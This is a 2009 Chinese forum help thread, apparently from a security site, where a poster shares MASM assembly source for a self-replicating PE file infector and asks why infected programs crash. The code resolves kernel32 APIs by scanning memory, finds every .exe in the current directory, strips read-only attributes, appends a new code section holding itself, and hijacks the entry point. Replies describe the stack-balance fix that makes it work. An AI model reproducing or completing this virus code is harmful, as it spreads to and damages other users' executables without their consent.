首页
社区
课程
招聘
[求助]一段感染exe文件的代码
发表于: 2009-1-18 19:16 5167

[求助]一段感染exe文件的代码

2009-1-18 19:16
5167
照着罗云彬书中给exe文件添加代码的例子,自己写了一段程序,打算实现让程序自动搜索当前目录下所有exe文件,在之后追加一个节,把代码复制过去。

程序写完了,用ollydbg调试了一下被感染的程序,单步走的时候能成功运行,但如果直接运行,程序就不能正常执行。求人帮忙看一下程序。谢谢!

附件里是源代码以及用来感染的试验文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
    .586p
    .model  flat, stdcall
    option  casemap: none
;-------------------------------------------------
include    windows.inc
;---------------------------------------------------------------------------;
;API declarations.                                                          ;
;---------------------------------------------------------------------------;
;kernel32.dll
_ProtoCreateFileA    typedef  proto  :dword, :dword, :dword, :dword, :dword, :dword, :dword
_ProtoCreateFileMappingA  typedef  proto  :dword, :dword, :dword, :dword, :dword, :dword
_ProtoCloseHandle    typedef proto  :dword
_ProtoFindFirstFileA    typedef proto  :dword, :dword
_ProtoFindNextFileA    typedef  proto  :dword, :dword
_ProtoFindClose      typedef  proto  :dword
_ProtoGetFileAttributesA  typedef  proto  :dword
_ProtoLoadLibraryA    typedef  proto  :dword
_ProtoMapViewOfFile    typedef proto  :dword, :dword, :dword, :dword, :dword
_ProtoSetFileAttributesA  typedef proto  :dword, :dword
_ProtoUnmapViewOfFile    typedef proto  :dword
;--------------------------------------------------------------;
_ApiCreateFileA      typedef  ptr  _ProtoCreateFileA
_ApiCreateFileMappingA    typedef  ptr  _ProtoCreateFileMappingA
_ApiCloseHandle      typedef ptr  _ProtoCloseHandle
_ApiFindFirstFileA    typedef ptr  _ProtoFindFirstFileA
_ApiFindNextFileA    typedef  ptr  _ProtoFindNextFileA
_ApiFindClose      typedef  ptr  _ProtoFindClose
_ApiGetFileAttributesA    typedef  ptr  _ProtoGetFileAttributesA
_ApiGetFileSize      typedef  ptr  _ProtoGetFileSize
_ApiLoadLibraryA    typedef  ptr  _ProtoLoadLibraryA
_ApiMapViewOfFile    typedef ptr  _ProtoMapViewOfFile
_ApiSetFileAttributesA    typedef ptr  _ProtoSetFileAttributesA
_ApiUnmapViewOfFile    typedef ptr  _ProtoUnmapViewOfFile
;-------------------EQU---------------------------
CODE_SIZE  equ  offset CODE_START - offset CODE_END
;-------------------Code--------------------------
    .code
CODE_START  equ  this byte
;------------------Data---------------------------'
;kernel32.dll
szCreateFileA    db  'CreateFileA', 0
szCreateFileMappingA  db  'CreateFileMappingA', 0
szCloseHandle    db  'CloseHandle', 0
szFindFirstFileA  db  'FindFirstFileA', 0
szFindNextFileA    db  'FindNextFileA', 0
szFindClose    db  'FindClose', 0
szGetFileAttributesA  db  'GetFileAttributesA', 0
szLoadLibraryA    db  'LoadLibraryA', 0
szMapViewOfFile    db  'MapViewOfFile', 0
szSetFileAttributesA  db  'SetFileAttributesA', 0
szUnmapViewOfFile  db  'UnmapViewOfFile', 0
      db  0
 
      align  dword
_CreateFileA    _ApiCreateFileA      ?
_CreateFileMappingA  _ApiCreateFileMappingA    ?
_CloseHandle    _ApiCloseHandle      ?
_FindFirstFileA    _ApiFindFirstFileA    ?
_FindNextFileA    _ApiFindNextFileA    ?
_FindClose    _ApiFindClose      ?
_GetFileAttributesA  _ApiGetFileAttributesA    ?
_LoadLibraryA    _ApiLoadLibraryA    ?
_MapViewOfFile    _ApiMapViewOfFile    ?
_SetFileAttributesA  _ApiSetFileAttributesA    ?
_UnmapViewOfFile  _ApiUnmapViewOfFile    ?
 
hDllKernel32  dd  ?
hDllUser32  dd  ?
 
fileName  db  MAX_PATH dup (?), 0
 
szWindowsDir  db  MAX_PATH dup (?), 0
szSystemDir  db  MAX_PATH dup (?), 0
szStartupDir  db  MAX_PATH dup (?), 0
 
szCurrentDir  db  MAX_PATH dup (?), 0
szTemp    db  MAX_PATH dup (?), 0
 
NEW_SECTION_NAME  db  '.adata', 0
 
EXE_MASK  db  '*.exe', 0
FILE_ATTRI  dd  ?
hFile    dd  ?
hFindFile  dd  ?
hMap    dd  ?
mapAddress  dd  ?
orgFileAttri  dd  ?
findData  WIN32_FIND_DATA  <?>
;-------------------------SEHHandler----------------------------
_SEHHandler  proc  C _lpExceptionRecord, _lpSEH, _lpContext, _lpDispatcherContext
  pushad
  mov  esi, _lpExceptionRecord
  mov  edi, _lpContext
  assume  esi: ptr EXCEPTION_RECORD, edi: ptr CONTEXT
  mov  eax, _lpSEH
  push  [eax + 0Ch]
  pop  [edi].regEbp
  push  [eax + 8]
  pop  [edi].regEip
  push  eax
  pop  [edi].regEsp
  assume  esi: nothing, edi: nothing
  popad
  mov  eax, ExceptionContinueExecution
  ret
_SEHHandler  endp
;--------------------CheckPE----------------------------
_CheckPE  proc  _lpFile
  local  @dwReturn
   
  mov  @dwReturn, 0
  pushad
   
  assume  fs: nothing
  push  ebp
  lea  eax, [ebx + offset _CheckPERet]
  push  eax
  lea  eax, [ebx + offset _SEHHandler]
  push  eax
  push  fs:[0]
  mov  fs:[0], esp
;--------------Check PE------------------------------
  mov  esi, _lpFile
  assume  esi: ptr IMAGE_DOS_HEADER
  .if  [esi].e_magic != IMAGE_DOS_SIGNATURE
    jmp  _CheckPERet
  .endif
  add  esi, [esi].e_lfanew
  assume  esi: ptr IMAGE_NT_HEADERS
  .if  [esi].Signature != IMAGE_NT_SIGNATURE
    jmp  _CheckPERet
  .endif
  inc  @dwReturn
  assume  esi: nothing
_CheckPERet:
  pop  fs:[0]
  add  esp, 0Ch
  popad
  mov  eax, @dwReturn
  ret
_CheckPE  endp
;-------------------------------------------------------
_GetKernelBase  proc  _dwKernelRet
  local  @dwReturn
   
  pushad
  mov  @dwReturn, 0
   
  call  @F
@@:  pop  ebx
  sub  ebx, offset @B
   
  assume  fs: nothing
  push  ebp
  lea  eax, [ebx + offset _PageError]
  push  eax
  lea  eax, [ebx + offset _SEHHandler]
  push  eax
  push  fs:[0]
  mov  fs:[0], esp
  ;-----------------------------------------
  mov  edi, _dwKernelRet
  and  edi, 0FFFF0000h
  .while  TRUE
    .if  word ptr [edi] == IMAGE_DOS_SIGNATURE
      mov  esi, edi
      add  esi, [esi + 003Ch]
      .if  word ptr [esi] == IMAGE_NT_SIGNATURE
        mov  @dwReturn, edi
        .break
      .endif
    .endif
  _PageError:
    sub  edi, 010000h
    .break  .if  edi < 070000000h
  .endw
  pop  fs:[0]
  add  esp, 0Ch
  popad
  mov  eax, @dwReturn
  ret
   
_GetKernelBase  endp
;-------------------------------------------------
_GetApi    proc  _hModule, _lpszApi
  local  @dwReturn, @dwStringLength
   
  pushad
  mov  @dwReturn, 0
   
  assume  fs: nothing
  push  ebp
  lea  eax, [ebx + offset _Error]
  push  eax
  lea  eax, [ebx + offset _SEHHandler]
  push  eax
  push  fs:[0]
  mov  fs:[0], esp
  ;-----------------------------------------
  mov  edi, _lpszApi
  mov  ecx, -1
  xor  al, al
  cld
  repnz  scasb
  mov  ecx, edi
  sub  ecx, _lpszApi
  mov  @dwStringLength, ecx
  ;------------------------------------------;
  ;       esi -> IMAGE_EXPORT_DIRECTORY      ;
  ;------------------------------------------;
  mov  esi, _hModule
  add  esi, [esi + 3Ch]
  assume  esi: ptr IMAGE_NT_HEADERS
  mov  esi, [esi].OptionalHeader.DataDirectory.VirtualAddress
  add  esi, _hModule
  assume  esi: ptr IMAGE_EXPORT_DIRECTORY
  ;-----------------------------------------
  mov  ebx, [esi].AddressOfNames
  add  ebx, _hModule
  xor  edx, edx
  .repeat
    push  esi
    mov  edi, [ebx]
    add  edi, _hModule
    mov  esi, _lpszApi
    mov  ecx, @dwStringLength
    repz  cmpsb
    .if  ZERO?
      pop  esi
      jmp  @F
    .endif
    pop  esi
    add  ebx, 4
    inc  edx
  .until  edx >= [esi].NumberOfNames
  jmp  _Error
  ;-----------------------------------------
@@:
  sub  ebx, [esi].AddressOfNames
  sub  ebx, _hModule
  shr  ebx, 1
  add  ebx, [esi].AddressOfNameOrdinals
  add  ebx, _hModule
  movzx  eax, word ptr [ebx]
  shl  eax, 2
  add  eax, [esi].AddressOfFunctions
  add  eax, _hModule
  ;-----------------------------------------
  mov  eax, [eax]
  add  eax, _hModule
  mov  @dwReturn, eax
_Error:
  pop  fs:[0]
  add  esp, 0Ch
  assume  esi: nothing
  popad
  mov  eax, @dwReturn
  ret
   
_GetApi    endp  
;-------------------------------------------------
CODE_SIZE  equ  CODE_END - CODE_START
;-------------------------------------------------
_NewEntry:
  pushad
  pushfd
  call  _Delta
_Delta:  pop  ebx
  sub  ebx, offset _Delta
   
  invoke  _GetKernelBase, [esp + 24h]  ;Get return address
  or  eax, eax
  jz  _Ret        ;Oops!
  mov  [ebx + hDllKernel32], eax
 
  lea  esi, [ebx + _CreateFileA]
  lea  edi, [ebx + szCreateFileA]
_FindNextAPI:
  invoke  _GetApi, [ebx + hDllKernel32], edi
  mov  [esi], eax      ;Store API VA
   
  xor  al, al        ;Get to next API name
@@:  scasb
  jnz  @B
   
  add  esi, 4
  mov  al, [edi]
  or  al, al
  jnz  _FindNextAPI
   
  ;lea  eax, [ebx + szCurrentDir]
  ;invoke  [ebx + _GetCurrentDirectoryA], MAX_PATH, eax
   
 
  assume  fs: nothing
  push  ebp
  push  [ebx + _UnmapFile]      ;Exception return address.
  push  [ebx + _SEHHandler]
  xor  eax, eax
  push  fs:[eax]
  mov  fs:[eax], esp
   
_FindFirstFile:
  lea  eax, [ebx + EXE_MASK]
  lea  esi, [ebx + findData]
  invoke  [ebx + _FindFirstFileA], eax, esi
  mov  [ebx + hFindFile], eax
;--------------------------------------------------------------------------;
; Open, map, check the file.                                               ;
; esi --> WIN32_FIND_DATA                                                  ;
;--------------------------------------------------------------------------;
;input:
;  esi: LPWIN32_FIND_DATA
_CheckFile:
  assume  esi: ptr WIN32_FIND_DATA
   
  or  [esi].nFileSizeHigh, 0
  jnz  _FindNextFile
  test  [esi].dwFileAttributes, FILE_ATTRIBUTE_READONLY
  jz  @F
  and  [esi].dwFileAttributes, not FILE_ATTRIBUTE_READONLY
  invoke  [ebx + _SetFileAttributesA], addr [esi].cFileName, [esi].dwFileAttributes
  or  [esi].dwFileAttributes, FILE_ATTRIBUTE_READONLY    ;For restore later.
@@:
  lea  ecx, [esi].cFileName
  call  _OpenFile  
  inc  eax
  jz  _RestoreAttributes
  dec  eax
  mov  [ebx + hFile], eax
   
  mov  ecx, [esi].nFileSizeLow
  call  _CreateMap  
  or  eax, eax
  jz  _CloseMap
  mov  [ebx + hMap], eax
   
  mov  ecx, [ebx + findData].nFileSizeLow
  xor  ecx, ecx
  call  _MapFile
  or  eax, eax
  jz  _UnmapFile
  mov  [ebx + mapAddress], eax
   
;-----------------------------------------------------------------------------;
;Here checks the PE file and does some PE DIY, injects the code in, and...    ;
;-----------------------------------------------------------------------------;
   
  mov  edi, eax
  assume  edi: ptr IMAGE_DOS_HEADER
   
  add  edi, [edi].e_lfanew
  assume  edi: ptr IMAGE_NT_HEADERS
  cmp  [edi].Signature, IMAGE_NT_SIGNATURE
  jnz  _UnmapFile
  cmp  [edi].OptionalHeader.LoaderFlags, 01010101h
  je  _UnmapFile
   
  push  [edi].OptionalHeader.FileAlignment
   
   
;----------------------------------------------------------------------------;
; Process PE file here.                                                      ;
;----------------------------------------------------------------------------;
; Close all here.                                                            ;
;----------------------------------------------------------------------------;
  mov  eax, [ebx + mapAddress]
  push  eax
  call  [ebx + _UnmapViewOfFile]
  mov  eax, [ebx + hMap]
  push  eax
  call  [ebx + _CloseHandle]
  mov  eax, [ebx + hFile]
  push  eax
  call  [ebx + _CloseHandle]
 
; Reopen all.
  lea  ecx, [esi].cFileName
  call  _OpenFile
  inc  eax
  or  eax, eax  
  jz  _CloseFile
  dec  eax
  mov  [ebx + hFile], eax
   
  mov  ecx, [ebx + findData].nFileSizeLow
  add  ecx, CODE_SIZE
  xchg  ecx, eax
  pop  ecx
  call  _Align
  xchg  ecx, eax
  push  ecx
  call  _CreateMap
  or  eax, eax
  jz  _CloseMap
  mov  [ebx + hMap], eax
   
  pop  ecx
  call  _MapFile
  or  eax, eax
  jz  _UnmapFile
  mov  [ebx + mapAddress], eax
  mov  edx, eax
  assume  edx: ptr IMAGE_DOS_HEADER
  add  edx, [edx].e_lfanew
  assume  edx: ptr IMAGE_NT_HEADERS
   
; Add infected flag
  mov  [edx].OptionalHeader.LoaderFlags, 01010101h
     
  assume  edi: nothing
  assume  esi: nothing
 
_AddNewSection:
;-----------------------------------------------------------------------------;
;       edx --> IMAGE_NT_HEADER                                               ;
;       edi --> New Section                                                   ;
;       esi --> Origin last section                                           ;
;-----------------------------------------------------------------------------;
  mov  edi, edx
  add  edi, sizeof IMAGE_NT_HEADERS
  movzx  eax, [edx].FileHeader.NumberOfSections
  imul  eax, eax, sizeof IMAGE_SECTION_HEADER
  add  edi, eax
   
; Check if enough space to add new section.
  push  edi
  xor  eax, eax
  mov  ecx, sizeof IMAGE_SECTION_HEADER
  repz  scasb
  pop  edi
  jnz  _UnmapFile
   
  mov  esi, edi
  sub  esi, sizeof IMAGE_SECTION_HEADER
  assume  edi: ptr IMAGE_SECTION_HEADER
  assume  esi: ptr IMAGE_SECTION_HEADER
   
; Revise IMAGE_NT_HEADER
  inc  [edx].FileHeader.NumberOfSections
   
  push  esi
_FindPointerToRawData:
  mov  eax, [esi].PointerToRawData
  or  eax, eax
  jnz  @F
  sub  esi, sizeof IMAGE_SECTION_HEADER
  jmp  _FindPointerToRawData
@@:
  add  eax, [esi].SizeOfRawData
  mov  [edi].PointerToRawData, eax
  pop  esi
   
  mov  eax, CODE_SIZE
  mov  ecx, [edx].OptionalHeader.FileAlignment
  call  _Align
  mov  [edi].SizeOfRawData, eax
   
  mov  ecx, [edx].OptionalHeader.SectionAlignment
  call  _Align
  add  [edx].OptionalHeader.SizeOfCode, eax
  add  [edx].OptionalHeader.SizeOfImage, eax
   
  mov  [edi].Characteristics, IMAGE_SCN_CNT_CODE or \
    IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
   
; New section name.
  push  esi
  push  edi
  mov  ecx, 8
  lea  esi, NEW_SECTION_NAME
  lea  edi, [edi].Name1
  rep  movsb
  pop  edi
  pop  esi
   
; Revise the entry.
  mov  eax, [esi].Misc.VirtualSize
  mov  ecx, [edx].OptionalHeader.SectionAlignment
  call  _Align
  add  eax, [esi].VirtualAddress
  mov  [edi].VirtualAddress, eax
  mov  [edi].Misc.VirtualSize, CODE_SIZE
  mov  ecx, eax
   
  add  eax, (offset _NewEntry - offset CODE_START)
  push  [edx].OptionalHeader.AddressOfEntryPoint
  mov  [edx].OptionalHeader.AddressOfEntryPoint, eax
  pop  eax
   
  sub  eax, ecx
  sub  eax, offset _ToOldEntry
  add  eax, offset CODE_START
  sub  eax, 5
  mov  _OldEntry, eax
     
  ;mov  ecx, [edi].SizeOfRawData
  mov  edi, [edi].PointerToRawData
  assume  edi: nothing
  assume  esi: nothing
;-----------------------------------------------------------------------------;
; Inject code.                                                                ;
;-----------------------------------------------------------------------------;
  ;STUB: Something not quite clear on calculating address in edi.
  mov  ecx, CODE_SIZE
  add  edi, [ebx + mapAddress]
  lea  esi, CODE_START
  rep  movsb
   
  assume  edx: nothing
   
  ;invoke  _MessageBoxA, NULL, addr [ebx + findData].cFileName, offset szUser32, MB_OK
   
  xor  eax, eax
  pop  fs:[eax]
  add  esp, 0Ch
 
;-----------------------------------------------------------------------------;  
_UnmapFile:
  push  [ebx + mapAddress]
  call  [ebx + _UnmapViewOfFile]
_CloseMap:
  push  [ebx + hMap]
  call  [ebx + _CloseHandle]
_CloseFile:
  push  [ebx + hFile]
  call  [ebx + _CloseHandle]
_RestoreAttributes:
  lea  eax, [ebx + findData].cFileName
  push  eax
  lea  eax, [ebx + findData].dwFileAttributes
  push  eax
  call  [ebx + _SetFileAttributesA]
_FindNextFile:
  mov  eax, [ebx + hFindFile]
  invoke  [ebx + _FindNextFileA], eax, esi
  or  eax, eax
  jnz  _CheckFile
  mov  eax, [ebx + hFindFile]
  invoke  [ebx + _FindClose], eax
 
 
   
_Ret:  popfd
  popad
_ToOldEntry:
  db  0E9H
_OldEntry  dd  ?
;--------------------------------------------------------
;input:
;  ecx - Address of file path
;output:
;  eax - File handle if successful
_OpenFile  proc
  invoke  [ebx + _CreateFileA], ecx, FILE_READ_DATA or FILE_WRITE_DATA,\
    FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL
  ret
_OpenFile  endp
;--------------------------------------------------------
;input:
;  ecx - Size to map.
;output:
;  eax - MapHandle if successful.
_CreateMap  proc
  xor  eax, eax
  push  eax        ;Mapping Object name
  push  ecx        ;dwMaximumSizeLow
  push  eax        ;dwMaximumSizeHigh
  push  PAGE_READWRITE
  push  eax        ;lpAttributes
  push  dword ptr [ebx + hFile]
  call  [ebx + _CreateFileMappingA]
  ret
_CreateMap  endp
;--------------------------------------------------------
 
  ;invoke  [ebx + _CreateFileA], ecx, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL,\
  ;  OPEN_EXISTING, 0, NULL
  ;invoke  [ebx + _CreateFileMappingA], eax, NULL, PAGE_READONLY, 0, 0, NULL
  ;invoke  [ebx + _MapViewOfFile], [ebx + hMap], FILE_MAP_READ, 0, 0, 0
;input:
;  ecx - Size of file to map.
;output:
;  eax - MapAddress if successful.
_MapFile  proc
  push  ecx
  push  0
  push  0
  push  FILE_MAP_READ or FILE_MAP_WRITE
  push  dword ptr [ebx + hMap]
  call  [ebx + _MapViewOfFile]
  ret
_MapFile  endp
;--------------------------------------------------------
;input:
;  eax - Value to Align.
;  ecx - Alignment factor. 
;output:
;  eax - Aligned value.
_Align    proc
  push  edx
  push  eax
  xor  edx, edx
  div  ecx
  pop  eax
  .if  edx
    sub  ecx, edx
    add  eax, ecx
  .endif
  pop  edx
  ret
_Align    endp
;-------------------------------------------------
CODE_END  equ  this byte
;-------------------------------------------------
  end  _NewEntry

[注意]看雪招聘,专注安全领域的专业人才平台!

上传的附件:
收藏
免费
支持
分享
最新回复 (4)
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
刚才发现堆栈没有平衡,汗一个~又是一个弱智错误……

检查代码去……
2009-1-18 23:06
0
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
之前的代码中SEHHandler安装和卸载的过程在循环体中的位置不对称,安装在循环外,卸载在循环内,于是造成堆栈不平衡。把卸载过程移到感染文件的循环外之后就OK了。

PS一下:汇编时检查堆栈平衡和C/C++时检查指针有效性一样重要。
2009-1-18 23:26
0
雪    币: 171
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
一个注释都没有
汗........
2009-1-20 04:55
0
雪    币: 200
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
楼主第二贴就解决问题了
2009-1-21 15:22
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册